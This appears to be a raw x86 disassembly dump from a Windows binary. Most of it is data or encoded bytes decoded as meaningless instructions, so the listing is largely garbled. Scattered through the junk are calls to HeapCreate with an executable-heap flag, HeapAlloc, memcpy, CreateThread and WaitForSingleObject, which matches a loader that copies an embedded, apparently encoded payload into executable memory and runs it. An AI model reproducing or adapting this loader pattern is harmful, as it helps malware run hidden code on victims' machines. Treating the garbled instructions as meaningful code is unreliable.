jge 0x422352
inc ebx
jnp 0x42236d
je 0x42236e
push 0x56
outsd dx, dword [esi]
arpl word [edx], di
push 0x237a4367
inc ebx
jnp 0x42237d
je 0x42232a
daa
aas
push 0x7a5b352f
inc esi
push 0x7837497b
push edx
add byte [edi], ah
daa
aas
push 0x683d443b
jnp 0x42236a
daa
pop edi
pop esp
jne 0x42238d
insb byte es:[edi], dx
jl 0x42234a
add byte [esi], bh
xor al, 0x3b
inc esp
cmp eax, 0x4f485968
pop ecx
dec eax
dec edi
add byte [edx + edi + 0x64], bl
aas
ja 0x4223a6
jae 0x4223ae
dec edx
jb 0x4223a9
dec eax
pop ecx
dec eax
dec edi
add byte [ebp + 0x38], dl
popal
sub dword [0x315b6726], edi
pop ebx
xor dword [eax + 0x5e], ebp
push esp
dec bp
push 0x4d66545e
push esi
push ebp
cmp byte [ecx + 0x29], ah
cmp edx, dword [eax]
add byte [eax], al
cmp al, 0x6b
add byte [ebx + ebp*2], bh
dec edi
je 0x4223f4
jle 0x4223c2
push esi
inc ebp
jae 0x4223e1
cmp edx, dword [eax]
add byte [esp + 0x73], dh
inc eax
je 0x4223f3
jae 0x4223d1
daa
jnp 0x4223c2
and al, 0x62
dec ebp
jl 0x4223e7
and esp, dword [edx + 0x58]
je 0x422403
jae 0x4223e1
outsd dx, dword [esi]
add byte [0x4b425778], ch
inc edx
dec ebx
jns 0x422419
outsd dx, dword [esi]
sub esp, dword [ebx + 0x6b]
jge 0x4223df
xor byte [0x2d006f31], ch
sub eax, 0x2d006f31
js 0x4223e9
push edi
and eax, dword [eax]
push eax
imul edx, dword [edx + edi + 0x7b], 0x26
jbe 0x4223f9
add byte [esi + 0x21], al
xor al, 0x33
inc esi
and dword [ebx + esi], esi
push edi
and eax, dword [eax]
pop esp
and al, byte [eax]
sub al, 0x6f
add byte [edx + 0x2b], bl
cmp dword [ebx], ebp
cmp byte [edi + 0x4e], dh
inc esp
xor ebx, dword [edx]
sub al, 0x4e
and ch, byte [ebp + 0x4c]
insd dword es:[edi], dx
dec esp
cmp eax, 0x254b5c51
outsd dx, dword fs:[esi]
outsd dx, dword [esi]
pop eax
push ebp
xor al, 0x7b
inc ebp
dec esi
and ch, byte [ebp + 0x4c]
mov dword [esp + 8], 0
and al, 8
add byte [eax], al
add byte [eax], al
or byte [eax], al
add byte [eax], al
add byte [ecx - 0x38fbdb8c], cl
add al, 0x24
add byte [eax], al
add al, 0
mov dword [esp + 4], esi
mov dword [esp], 0x40000
add bh, bh
adc eax, sym.imp.KERNEL32.dll_HeapCreate
call dword [sym.imp.KERNEL32.dll_HeapCreate]
sub esp, 0xc
test eax, eax
je 0x423060
mov dword [esp + 8], esi
mov dword [esp + 4], 8
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, eax
sub esp, 0xc
xor eax, eax
test ebx, ebx
je 0x423052
and eax, 0x76007258
and edi, dword ds:[ebp + 0x7e]
aas
pop ebp
dec edi
jo 0x422448
and eax, 0x4e007258
jne 0x4224a8
add byte [edx + 0x4c], ch
add byte [edx], ah
push eax
push esi
pop edx
jo 0x4224b8
xor dword [eax], eax
dec esi
jne 0x4224b8
add byte [ecx + 0x3c], ch
jo 0x422488
add byte [eax], al
jl 0x4224da
push ebx
dec eax
jae 0x4224d0
cmp dword [ecx + 0x7c], edi
and eax, 0x23703c69
add byte [edi], ah
jp 0x4224a3
push ebx
dec edi
push esi
arpl word es:[ecx], si
aaa
jbe 0x4224bc
jl 0x4224c8
add byte [edi], ah
jp 0x4224b9
pop edi
add byte cs:[edi], dh
add byte es:[ecx], ch
push esp
pop ebp
push esp
push eax
cmp eax, 0x2f2a5427
pop edi
add byte cs:[eax + 0x56], dl
cmp dword [ebx], edi
arpl word [eax + eax + 0x54], bx
push 0x66615f65
js 0x422516
add byte [eax + ebp*2 + 0x65], dl
pop edi
popal
js 0x422516
pop esi
push eax
push esi
cmp dword [ebx], edi
xor dword gs:[edi], esp
dec edx
sub esi, dword [edi]
dec edx
sub dword [eax], eax
pop eax
push edx
add byte [eax + 0x52], bl
pop ebx
bound ebp, qword [edi]
jo 0x422519
xor dword gs:[edi], esp
dec edx
add byte [edx], ah
add byte [ebp + 0x35], dl
pop esi
dec edx
arpl word [ebx + 0x37], ax
push ebp
xor eax, 0x43634a5e
aaa
and dh, byte [ecx + 0x42]
jno 0x422514
jbe 0x422524
jo 0x4224d6
and al, byte [eax]
push ebp
add byte [edx], dh
das
xor ch, byte [edi]
dec ebx
jbe 0x422552
pop edi
add byte [eax], al
xor eax, 0x5f727948
xor byte cs:[eax], al
xor ch, byte [edi]
dec ebx
cmp eax, 0x352c5f77
push esi
push eax
and dword [edi], esp
jle 0x422576
inc ebx
cmp al, byte [esi + 0x3d]
ja 0x42255f
sub al, 0x2a
and eax, 0x583e5a29
add byte [edx], bh
and eax, dword [eax]
add byte [ebp + edx*2 + 0x5e], bl
jno 0x42253c
and eax, 0x7a440029
imul ebp, dword [ecx + 0x25], 0x3a617541
jb 0x42256b
sub dword [eax], eax
inc esp
jp 0x422582
imul esp, dword [0x3a617541], 0x2f664a72
das
das
aaa
add byte [edx + edi*2 + 0x69], al
sub eax, 0x67494d70
xor al, 0x72
cmp eax, 0x3f332729
imul edx, dword [edx + 0x25], 0x52
sub eax, 0x44494d70
dec ecx
inc esp
dec ebp
inc edi
add byte [ebp + 0x7e], ch
inc esp
je 0x422597
pop ebx
push esp
inc edi
pop esp
cmp esi, dword [esi]
sub eax, dword [ebp + ecx*2 + 0x47]
add byte [eax], al
dec ecx
xor eax, 0x484a3639
dec eax
cmp edx, dword [eax + 0x40]
jo 0x4225b4
pop eax
sub dword [ecx], ebp
add byte [ecx + 0x35], cl
cmp dword [edx + eax*2 + 0x51], esi
add byte [edx], ah
xor eax, dword [eax]
push ecx
dec ecx
add byte [ecx + 0x49], dl
sub eax, 0x735a2671
sub eax, 0x5142744e
inc edx
push ecx
add byte [edi + 0x4c], ch
sub esi, dword [esi]
push 0x52565228
push edx
jp 0x4225c1
pop edx
push ebp
inc edi
inc esp
outsd dx, dword [esi]
dec esp
sub esi, dword [esi + 0x7b]
arpl word [esi + 0x33], sp
push 0x41
jno 0x4225e1
outsb dx, byte ds:[esi]
dec esp
dec eax
arpl word [0x637b764c], si
xor ax, word [eax]
cmp ch, byte [ecx]
outsd dx, dword [esi]
bound ebp, qword [eax + 0x7e]
push ebp
cmp eax, 0x286d636c
dec edx
push edi
add byte [edx], bh
imul eax, dword [eax], 0x45007963
add byte [ebp], ah
imul esp, dword [edx + 0x34], 0x337752
add byte [ebx + 0x79], ah
add byte [ebp], al
add byte gs:[ecx + 0x62], ch
xor al, 0x52
ja 0x4225f5
xor eax, dword [eax]
add byte [esi + 0x71], ch
arpl word [ecx], di
outsb dx, byte [esi]
jno 0x422629
jns 0x4225c8
inc ebp
sub dword [ecx + 0x2d], edx
pop ebx
jbe 0x422619
insb byte es:[edi], dx
cmp al, byte [eax]
inc esp
ja 0x4225f7
jae 0x422650
imul ebp, dword [ecx], 0x415b2d51
jo 0x422607
add byte [edx], dh
push 0x6f6f70
arpl word [ebx], si
xor ch, byte [eax + 0x70]
outsd dx, dword [esi]
outsd dx, dword [esi]
add byte [ebx + 0x33], ah
popal
xor eax, 0x70416038
daa
add byte [edx], bh
jns 0x422619
outsd dx, dword [esi]
xor al, 0x6c
inc edx
cmp eax, 0x71006a40
dec esp
add byte [ecx + 0x37], ah
cmp bh, byte [ecx + 0x25]
outsd dx, dword [esi]
add byte [edx + edi*2 + 0x22], al
jp 0x42262b
inc edx
aaa
jbe 0x422645
xor al, byte [bx + si]
xor ebp, dword [0x4e3323]
inc esp
jp 0x42263b
popal
add byte gs:[edi], bh
xor ch, byte [si]
sub dword [ecx], ebp
add byte [ecx + ecx*2 + 0x30], bh
push eax
dec esi
jo 0x42268b
popal
add byte gs:[edi], bh
add byte [edi], bh
jno 0x4226a0
add byte [ebx], ch
push edi
inc eax
inc edx
xor al, 0x3d
insd dword es:[edi], dx
cmp eax, 0x23263122
jno 0x4226b0
and esi, dword es:[ecx + 0x71]
add byte [ebx], ch
jb 0x42266c
pop eax
inc eax
pop edi
sub dword [edi + 0x23], ebx
jl 0x4226ca
pop ebx
arpl word fs:[edx], si
add byte [esi], bh
jb 0x42267c
pop eax
pop eax
jo 0x4226a7
pop edi
sub dword [0x7c2e5253], edi
sub dword [ecx], edi
push ebx
cmp al, 0x47
pop eax
jo 0x4226b7
pop edi
das
jo 0x42268e
jae 0x4226ca
sub byte [ebx + 0x21], bl
add byte [edx + esi], ah
xor eax, 0x6a6e2b49
das
jo 0x42269e
jae 0x4226c3
push ecx
jae 0x4226c9
sub dword [eax + 0x43], esp
add byte [eax], al
xor eax, 0x26637370
push ecx
inc ebp
push ecx
jae 0x4226d9
inc ebp
add byte [esi + 0x2f], ch
pop edx
dec ebp
inc edi
pop edx
push esi
pop edx
jle 0x422700
bound ebx, qword [edi + 0x54]
pop edi
push esp
jnp 0x4226e7
add byte [esi + 0x2f], ch
outsd dx, dword [esi]
jnp 0x42270d
ja 0x422712
ja 0x422712
push edx
xor byte [ecx + 0x73], cl
xor dword [ecx + 0x51], edi
push ecx
and esi, dword [eax]
xor eax, dword [ebx + 0x6f]
jnp 0x42271d
ja 0x4226ba
ja 0x4226ba
sub al, 0x4f
add byte [eax + eax], ch
insb byte es:[edi], dx
jb 0x422712
imul edi, dword [ebx + 0x4e], 0x64
jge 0x4226c9
add byte [edi + ecx*2], ch
sub al, 0x4f
add byte [eax], al
xor al, 0x3e
daa
push esp
xor byte [ecx], ch
jns 0x422737
dec eax
push ebx
and dword [edx + 0x78], edi
jp 0x422753
add byte [eax], bh
xor al, 0x3e
daa
xor eax, 0x6d4a3755
pushal
and ebx, dword [ebp + 0x66]
inc edi
dec ebx
sub ch, byte [ebx + 0x37]
pop edx
pop ebp
xor eax, 0x584a3755
push esi
and eax, 0x6c537a57
push esi
pop esp
add byte [ebx + 0x55], ch
push ebp
js 0x422745
inc ecx
xor byte [eax + 0x56], bl
and eax, 0x3b787457
cmp eax, 0x5c726c3a
cmp ch, byte [edx + esi*2 + 0x5c]
pop eax
pop eax
jnp 0x422783
jo 0x422790
push ebp
inc edx
je 0x422793
cmp edi, dword [0x5850522d]
dec eax
sub eax, 0x48585052
add byte [esi + 0x21], cl
insb byte es:[edi], dx
push 0x74
push eax
insb byte es:[edi], dx
outsd dx, dword gs:[esi]
add byte [0x2a585052], ch
add byte [ebx], ah
pop edi
xor byte [esp + edi], ah
sub dl, byte [ebx + 0x55]
cmp al, 0x2a
push ebx
push ebp
jl 0x42278b
outsd dx, dword [esi]
jl 0x4227be
pop eax
sub al, byte [eax]
and ebx, dword [edi + 0x42]
inc edx
insb byte es:[edi], dx
pop esp
pop ebx
pop edx
dec ecx
and dh, byte [ebx + eax*2]
arpl word [eax + 0x6e], si
cmp ecx, dword [ebx + 0x71]
inc edx
dec ebx
jno 0x422798
insb byte es:[edi], dx
pop esp
cmp byte [eax + 0x39], ch
jl 0x42279c
inc ebx
jns 0x42279a
sub eax, 0x6b43513f
daa
cmp byte [ecx], ah
cmp byte [eax + 0x39], ch
jl 0x4227d6
add byte [ebp + 0x22], dl
add byte [esi + 0x68], dl
push esi
inc edi
sub dword [eax + 0x24], ecx
jp 0x4227c7
bound ebp, qword [eax + ebp*2]
push ebp
and dh, byte [ebp + 0x47]
je 0x4227c3
inc eax
inc esi
push 0x3d784478
js 0x4227ca
jle 0x4227eb
inc ebx
sub al, 0x75
inc edi
je 0x4227bd
add byte [eax + 0x45], bh
inc ebp
imul edx, dword [esi + 0x63], 0x70
outsb dx, byte [esi]
push esi
arpl word [eax + 0x6e], si
jo 0x42280c
sub eax, 0x69335e76
xor eax, 0x78002733
inc ebp
inc eax
cmp dh, byte [esi + 0x70]
add byte [edx + 0x59], bh
dec eax
push edx
jo 0x4227db
dec esi
jns 0x4227fa
cmp dh, byte [esi + 0x70]
cmp eax, dword [eax]
cmp eax, 0x494f212b
add byte [0x494f212b], bh
dec ecx
pop edx
sub byte [eax], al
xor eax, 0x39314f26
xor dword [ecx], edi
insd dword es:[edi], dx
cmp eax, dword [eax]
cmp eax, 0x6700002b
add byte [ecx], bh
inc eax
bound ebx, qword [ecx + 0x54]
xor ah, byte [edi]
daa
inc edi
pop eax
inc ecx
sub al, 0x54
add byte [eax], al
add byte [bx + si], al
add byte [edx + 0x23], ah
pop ecx
jle 0x422812
jle 0x422812
and esp, dword [edx]
add byte [ebp + 0x24], bl
push ebx
xor al, 0x6b
add byte [eax], al
bound esp, qword [ebx]
inc edi
je 0x422838
dec ebx
and al, 0x29
jo 0x422839
sub al, 0x3d
arpl word [ebp + 0x77], si
jl 0x422843
insd dword es:[edi], dx
inc edi
je 0x422848
dec ebx
bound eax, qword [eax]
add byte [ebp + 0x2f], dl
pop ecx
insd dword es:[edi], dx
jle 0x42287a
pop ebx
jb 0x422819
and ch, byte [edx]
jl 0x42281d
bound eax, qword [eax]
add byte [ebp - 0x75], dl
inc esp
and al, 0x30
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sub.msvcrt.dll_memcpy
mov dword [esp + 8], ebx
or bh, al
inc esp
and al, 0x14
add byte [eax], al
add byte [eax], al
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
and al, 0x10
add byte [eax], al
add byte [eax], al
add bh, al
inc esp
and al, 0xc
add byte [eax], al
add byte [eax], al
mov dword [esp + 0xc], 0
mov dword [esp + 4], 0
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
sub esp, 0x18
js 0x42286b
je 0x4228cc
inc edi
push eax
pop esp
aas
cmp edi, dword [ebx]
jne 0x422875
pop esp
cmp al, 0x3f
dec ebp
js 0x42287b
add byte [edi + ebx*2], dh
add byte [ebp + 0x7b], bh
je 0x4228dc
add byte [eax], al
jge 0x4228fc
add byte [ecx + 0x6d], bh
add byte [eax], al
inc edi
pop esi
cmp eax, 0x2c697026
add byte [eax], al
jge 0x42290c
xor dword [edi + 0x5c], eax
push ecx
inc eax
add byte [ecx + 0x63], ch
je 0x4228d3
jbe 0x42289d
bound ecx, qword [esi + 0x3e]
jne 0x4228d3
inc edi
pop esp
push ecx
add byte [eax], al
add byte [eax + 0x66], cl
inc edi
aas
cmp al, 0x50
add byte [esi + 0x39], ah
push 0x30
add byte [edx], dh
add byte [eax], al
dec eax
pop edi
pop esi
imul ebp, dword [edx], 0x76
dec ebx
pop ecx
pop ecx
push ebp
inc eax
inc ebp
add byte [ebx + 0x7b], al
push edx
pop edi
pop esi
imul ebp, dword [edi + esi*2], 0x23
popal
inc ebp
sub al, 0x77
and esp, dword [ecx + 0x45]
jle 0x422901
popal
sub eax, dword [eax + 0x6d]
sub byte [0x54705a4b], bh
push esp
ja 0x422902
popal
inc ebp
inc esi
pop edi
das
aas
cmp byte [eax + esi], dh
add byte [ecx + 0x24], ah
add byte [ecx], al
pop ebx
pop ebx
cmp al, byte [esi + 0x5f]
das
aas
dec ecx
cmp eax, dword [ebx + 0x67]
jp 0x422922
aaa
pop ecx
and edi, dword [ecx]
cmp eax, 0x583f5946
pop ecx
aas
pop eax
jbe 0x42294f
cmp eax, dword [ebx + 0x67]
outsb dx, byte [esi]
dec esp
js 0x422938
js 0x422938
je 0x422988
and dword [ecx + 0x49], eax
pop ebx
sub byte [ebp + 0x4f], ah
dec ecx
jne 0x422988
dec esp
js 0x422969
and dword [edi + ebp*2], esi
push 0x28
pop ebx
dec esp
sub byte [ebx + 0x4c], bl
add byte [eax], al
dec ecx
inc eax
inc esi
sub byte [bp + si], ch
dec ebx
and dword [edi + ebp*2], esi
add byte [eax + 0x44], al
pop esi
das
dec eax
sub eax, 0x45777138
inc esp
dec ebx
aas
add byte [eax + 0x44], al
insd dword es:[edi], dx
dec eax
pop esi
jbe 0x422984
je 0x4229a2
sub al, 0x7a
and ebp, dword [ecx + 0x4c]
outsb dx, byte [esi]
inc esi
inc edx
cmp ch, byte [ebp + 0x48]
imul ecx, dword [esi + ebp*2 + 0x46], 0x486d3a42
pop esi
jbe 0x4229aa
sub al, byte [edi + 0x4d]
pop eax
daa
inc eax
push ebx
ja 0x4229a7
inc ecx
xor byte [esi], dh
dec eax
push eax
sub al, byte [edi + 0x4d]
js 0x4229c2
sub byte [eax], al
cmp eax, 0x612c586e
dec ebp
jle 0x4229d2
add byte [ebx], dh
pushal
js 0x4229d2
sub byte [eax], al
sub byte [0x4a6c0025], bh
sub al, 0
dec esi
cmp al, 0x62
arpl word [eax + 0x34], cx
push esi
add byte [edx + ecx*2 + 0x2c], ch
add byte [esi + 0x3c], cl
bound esp, qword [ebx + 0x48]
xor al, 0x56
push ebx
sub byte [0x780025], bh
dec ebp
sub dword [edx + 0x7a], esp
jno 0x422a13
jns 0x4229e4
sub eax, 0x39383a5c
cmp byte [ecx], bh
bound edi, qword [eax]
dec ebp
sub dword [ecx], esp
jbe 0x4229f8
pop eax
popal
push edi
js 0x422a09
add byte [edx], dh
pushaw
cmp eax, dword [esi + 0x4c]
pop edi
and dword [esi + 0x4c], esi
pop eax
jae 0x4229f8
jp 0x422a13
jno 0x4229f9
xor byte [edi + 0x5e], bl
das
xor byte [ebx + 0x56], ah
inc edi
jae 0x422a08
jp 0x4229d2
inc ecx
jne 0x4229d5
jb 0x422a04
dec ecx
jbe 0x4229db
jge 0x422a41
jbe 0x422a37
sub dl, byte [ecx]
inc ecx
jne 0x4229e5
add byte [ecx], ah
je 0x4229e8
and dword [eax + eax + 0x23], esi
add byte [eax*2 + 0x247d406a], ah
and eax, dword [eax]
and al, 0x45
push 0x40
jge 0x422a14
push esi
pushal
sub al, 0
push 0x23007421
and esi, dword [esi + ebx*2]
xor al, 0x5e
inc esi
aas
push esp
add byte [ecx + 0x22], al
insb byte es:[edi], dx
dec edx
jl 0x422a70
outsd dx, dword [esi]
push 0x67465e34
cmp eax, 0x43580076
xor al, 0x5e
inc esi
cmp eax, 0x43580076
popal
inc esi
dec ebx
push ecx
dec eax
sub al, 0x56
cmp eax, 0x3d557e46
jbe 0x422a20
pop eax
inc ax
pop ecx
sub dword [eax], eax
jae 0x422a96
jl 0x422a7c
arpl word [edx + 0x2e], di
inc ecx
add byte [esi], bh
dec eax
inc ax
pop ecx
sub dword [ebx + 0x47], ebx
jne 0x422a69
jnp 0x422a9f
popal
jl 0x422a5f
jb 0x422a97
dec ecx
das
bound esp, qword [ebx]
jns 0x422aa1
inc edi
jne 0x422a79
ja 0x422a9b
pop ecx
inc esi
add byte [edx + 0x55], dl
add byte [ecx + 0x57], dl
aaa
pop ebx
push esp
je 0x422ab1
ja 0x422aab
pop ecx
inc esi
popal
je 0x422ada
jp 0x422abf
pop esi
pop ebx
inc eax
insd dword es:[edi], dx
outsd dx, dword [esi]
jl 0x422a67
sub dh, byte [ecx]
xor dword [ebp + 0x72], edi
inc esp
popal
je 0x422aea
pop esi
add byte [ecx + 0x2e], cl
sub byte [edi + 0x74], dh
dec edx
cmp dword [ecx + 0x5e], edi
jns 0x422ad9
cmp eax, 0x6b237353
js 0x422a82
push ebx
jae 0x422aa2
imul edi, dword [eax], 0x49
dec ecx
sub byte cs:[eax], ch
add byte [di], dh
sub eax, 0x68535f
inc ebp
push 0
sub esi, dword [ecx + 0x2f]
sub byte [edi], ah
xor eax, 0x7d6a2757
add byte [di], dh
push edi
daa
add byte [0x7d6a2757], dh
push 0x7d
inc edx
aaa
pop edx
push eax
push eax
and eax, dword [eax]
push 0x32
and ebx, dword [esi]
push edi
daa
push 0x7d
pop esi
add byte [ecx + 0x5e], ah
pop esi
add byte [esi + 0x61], al
push ebx
cmp al, byte [edx + 0x29]
jae 0x422b33
and dword [eax + 0x65], eax
pop esi
add byte [ecx + 0x2b], ah
aaa
pop edx
push ecx
push ebx
push esi
push ecx
cmp ebp, dword [ebx + eax*2]
cmp al, 0x71
and dword ds:[edx + 0x35], ebp
sub esi, dword [edi]
pop edx
push ecx
ja 0x422ad7
popal
cmp ebp, dword [esi + 0x3e]
bound eax, qword [ecx + 0x38]
outsb dx, byte [esi]
bound eax, qword ds:[ecx + 0x38]
add byte [eax], al
jae 0x422b34
sub dword [eax], eax
inc eax
ja 0x422ae7
popal
cmp ecx, dword [esi + 0x34]
jle 0x422b6b
xor al, 0x7e
jle 0x422b2a
cmp al, 0x52
push edx
add byte [esp + ecx*2], ch
inc esi
inc eax
inc ebx
das
jne 0x422b20
das
dec esi
xor al, 0x7e
jle 0x422b2f
jl 0x422b00
add byte [eax], bh
sub esi, dword [ecx]
push esp
jl 0x422b39
push ecx
jo 0x422b37
push esp
xor dword [eax + eax], edi
dec edi
add byte [eax + eax], ch
add byte [ebp + 0x7c], ah
add byte [eax + 0x6d], dl
das
arpl word [edi + 0x59], bp
add byte [ebp + 0x4f], dl
push ebp
dec edi
add byte [eax + eax], ch
inc ebp
add byte [eax], al
dec esp
xor cl, byte [ebx + 0x72]
outsb dx, byte fs:[esi]
dec ebx
jb 0x422b91
outsb dx, byte [esi]
cmp eax, 0x4052002a
sub al, byte [eax]
push edx
inc eax
dec edi
inc edx
inc ebp
add byte [eax], al
dec esp
add byte [esi + esi + 0x5f], cl
pop edi
add byte [edx], ah
xor edi, dword [ebx + 0x72]
inc edx
sub eax, 0x4b652162
pop edi
add byte [edx + 0x6f], ah
imul edx, dword [edx + 0x3e], 0x63756831
push eax
dec edi
sub al, 0x69
push 0x6f5b294d
imul edx, dword [edx + 0x3e], 0x53494023
aaa
push edx
pop ecx
jp 0x422ba3
pop ebx
ja 0x422bdb
popal
add byte [esi + 0x37], bh
and eax, dword [eax + 0x49]
push ebx
dec ebp
cmp eax, 0x73625f47
pop ebx
dec edi
add byte [edi], bh
and eax, 0x4d746056
pop edi
dec ebp
cmp eax, 0x2f645f47
inc ebp
sub byte [eax], al
pop eax
add byte [eax], al
js 0x422bc4
jle 0x422c01
pop edi
aaa
das
inc ebp
add byte [eax], dh
pop esi
jno 0x422bd3
imul esp, dword [edi + 0x52], 0x30
push edx
push ecx
push edi
and esi, dword [eax]
dec esp
add byte [eax], dh
pop esi
insb byte es:[edi], dx
push ebx
pop ebp
imul edi, dword [ecx + 0x67], 0x7b
das
jle 0x422c00
add byte [0x753c5127], dh
insb byte es:[edi], dx
push ebx
pop ebp
imul ecx, dword [ebx + 0x38], 0x39
inc esi
je 0x422c35
insb byte es:[edi], dx
add byte [eax + 0x6a], bl
add byte [ecx + 0x54], bl
jle 0x422c26
dec ebx
cmp byte [ecx], bh
inc esi
inc ecx
and ch, byte gs:[ebx]
and ch, byte [ebx]
jbe 0x422c4c
push ebx
add byte [ebp + 0x29], ah
inc esi
jo 0x422c3b
js 0x422c3a
inc ecx
and ch, byte gs:[ebx + 0x7e]
push ebp
pop ebp
arpl word [ecx], di
jp 0x422c3f
das
push edi
sub al, 0x45
sub eax, 0x4d603700
jle 0x422c54
pop ebp
arpl word [0x4f5f293f], si
xor eax, 0x4f5f293f
jb 0x422c08
add byte [esi], ch
inc esi
sub eax, 0x684a7a24
sub byte [0x455f293f], dh
jge 0x422c48
add byte [eax + 0x3e], dh
aas
and dword [ecx], eax
xor dh, byte [edx + 0x6d]
jae 0x422c7c
inc ebp
jge 0x422c58
add byte [0x303a0070], ch
sub byte [ebx + 0x33], dh
push 0x31
xor al, 0x36
push 0x27
cmp ch, byte [0x793a0070]
inc edx
jo 0x422c3c
add byte [edx], bh
jns 0x422c81
cmp bh, byte [ecx + 0x42]
jne 0x422c41
and edi, dword [eax]
add byte ds:[ebx + 0x36], ah
jb 0x422c84
cmp esp, dword [edi]
daa
popal
add byte [ecx + edi*2], ch
sub al, 0x79
inc edx
jne 0x422c51
mov dword [esp + 4], 0xffffffff
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
sub esp, 8
sub eax, 0x3c56675b
pop edx
add al, 0xff
invalid
dec dword [ecx + 0x15ff2404]
adc al, 0x33
inc ebx
add byte [ebx + 0x5b2d08ec], al
push esi
cmp al, 0x5a
pop ecx
cmp ebp, dword ss:[ebx]
aaa
inc ebp
add byte [eax + 0x74], bl
outsb dx, byte [esi]
sub eax, 0x5956675b
bound esi, qword [0x3a287859]
pop esp
pop ecx
js 0x422ca7
cmp bl, byte [eax + eax + 0x34]
insd dword es:[edi], dx
add byte [ebp*2 + 0x53607d50], dh
push eax
jge 0x422ce7
push ebx
add byte [ecx + 0x62], bl
xor eax, 0x4e615c59
xor byte fs:[ecx + 0x41], bl
cmp dword [ecx], ebp
sub byte [esi + 0x65], bh
aaa
dec ebx
push 0x5c
popal
dec esi
add byte fs:[ebp + 0x2c], bh
inc bp
pop esp
add byte [edi + esi*2 + 0x5e], dl
pop esp
jnp 0x422cb0
and al, 0
jge 0x422ce0
push esi
push edx
jl 0x422cea
outsd dx, dword [esi]
jge 0x422cbc
pop ebp
push esi
inc esi
inc eax
inc eax
jbe 0x422d2d
pop esp
xor byte [esi + 0x52], dl
jl 0x422cfa
push 0x6e
push 0x58
sub dh, byte [edx]
bound eax, qword es:[ebp + 0x65]
and eax, 0x305b0054
inc ebx
push 0x6e
push 0x58
xor byte [edx + esi + 0x7e], dh
pop eax
jle 0x422d3a
push 0x30
inc ebx
add byte [ecx + 0x5a], al
pop edx
ja 0x422d10
add byte [edi], ch
add byte [eax], dh
je 0x422d22
jle 0x422cf2
xor byte [ebx], ah
sub dword ss:[eax], eax
inc ecx
push ebx
cmp ch, byte [eax + eax]
jno 0x422d26
aaa
imul ecx, dword [esi + 0x4a], 0x76
xor byte [bp + si + 0x54], ch
imul edx, dword [edx + 0x4b], 0x544e005b
cmp al, 0x49
xor dword [edi + 0x6d], esi
pop edx
sub dword [esi + 0x4a], ebx
imul edx, dword [edx + 0x4b], 0x6d2d735b
jae 0x422d5c
insd dword es:[edi], dx
jne 0x422d5a
sub eax, 0x2e76757a
cmp al, 0
sub cl, byte [ebp + 0x27]
dec ebp
daa
outsb dx, byte [esi]
jae 0x422d6c
insd dword es:[edi], dx
jne 0x422d97
and eax, 0x3423684b
dec esi
outsb dx, byte [esi]
dec esi
sub ah, byte [ebx + 0x4b]
add byte [edi + 0x78], ch
push ebp
and eax, 0x5969684b
cmp ah, byte [ebx]
cmp eax, 0x4460684b
dec ebx
push 0x51504460
pushal
inc esp
push eax
push ecx
inc edi
jl 0x422d91
jns 0x422dd6
inc ebp
dec eax
pop edx
push edi
add byte [eax + 0x3e], bh
pushal
inc ebp
push esi
push ebp
cmp edi, dword [ebx]
pushal
inc ebp
arpl word [esi + 0x3f], ax
add byte [edx + 0x72], cl
jle 0x422dbf
and dl, byte [edx]
inc ebx
push esi
sub byte [edi], ah
sub dword [ebx + 0x46], esp
aas
add byte [edx + ecx*2], ch
sub al, 0x4a
xor byte [ecx], bh
and al, 0x41
cmp eax, dword [esi + 0x27]
add byte [eax], bh
push esp
outsd dx, dword ss:[esi]
add byte [edx + ecx*2], ch
xor byte [ecx], bh
cmp dword [ebp + 0x37], esi
jp 0x422dff
push ebp
dec ebp
jb 0x422dfb
jl 0x422ded
pop ecx
jns 0x422dc4
ja 0x422e69
jp 0x422e23
add esp, 0x24
pop ebx
pop esi
ret
push esp
add byte [ecx + 0x2a], dh
dec ebp
bound edi, qword [esp + edi + 0x47]
dec ecx
aaa
dec eax
jne 0x42308f
sub al, 0x64
push esp
add byte [ecx + 0x37], dh
and dword [ebp + 0x49], esp
push edx
sub byte [ebx], ah
pop ebp
jle 0x4230cb
insb byte es:[edi], dx
inc ebx
das
add byte [edx + 0x2d], al
aaa
and dword [ebp + 0x49], esp
and edi, dword [edx]
cmp byte [eax], al
pop edx
pop ecx
and eax, 0x483f0025
cmp esp, dword [esi]
and eax, 0x383a235e
and eax, 0x3b483f00
and eax, 0x383a235e
add byte [ecx + 0x27], cl
jo 0x423110
and al, byte gs:[eax]
push ebp
imul esi, dword [edi], 0x53
imul edx, dword [ecx + 0x40], 0x79
sub cl, byte [ecx + 0x27]
jo 0x423120
sub eax, 0x706f7e4c
sub eax, 0x633b5a31
das
jnp 0x4230fb
sub dword [edi + 0x58], esi
sub eax, 0x2b6f7e4c
push eax
jle 0x4230c9
cmp al, 0x70
cmp dword [edx + 0x6b], ecx
pop eax
xor eax, 0x2b3b442a
push eax
and dh, byte ds:[edi]
inc edx
xor esi, dword [ecx + 0x23]
and ch, byte [0x7a495072]
sub eax, dword [eax]
inc ebp
aaa
and dh, byte [edi]
inc edx
xor ebp, dword [esi + 0x31]
push eax
sub al, byte [eax]
add byte [ecx], dh
push eax
aas
and ah, byte [ebx + 0x6b]
dec ebp
add byte [esi + ebp*2 + 0x31], bh
push eax
sub ah, byte [ecx]
jp 0x423151
outsb dx, byte [esi]
xor dword [eax + 0x2a], edx
and dword [edx + 0x4f], edi
push eax
add byte [eax], al
xor byte [ebp + 0x6b], ah
and eax, 0x7a506300
inc edi
cmp eax, 0x504f7a21
jp 0x423161
push eax
dec edx
dec esp
and ebp, dword [esi + 0x5b]
and al, 0x28
pop eax
cmp ah, byte [ebx + ebx*2 + 0x63]
cmp dword [eax], edi
je 0x423172
cmp byte [edi + ecx*2 + 0x4a], dh
dec edx
dec esp
and ebp, dword [esi + 0x48]
sub eax, 0x2f473e4a
inc esi
ja 0x4231a6
pop edx
and eax, 0x33573d32
dec eax
sub eax, 0x594e5f4a
dec ebx
and dh, byte [ebx]
push esp
cmp byte [ecx + 0x4c], ch
imul esp, dword [edi + 0x22], 0
push edx
add byte [edi + 0x4e], bl
pop ecx
dec ebx
pop ebx
add byte [eax], bh
inc esi
add byte [eax + eax], dh
dec eax
push eax
cmp byte [esi], al
je 0x423156
add byte [eax + 0x50], cl
cmp esi, dword [edi + edx*2 + 0x6d]
jb 0x4231b8
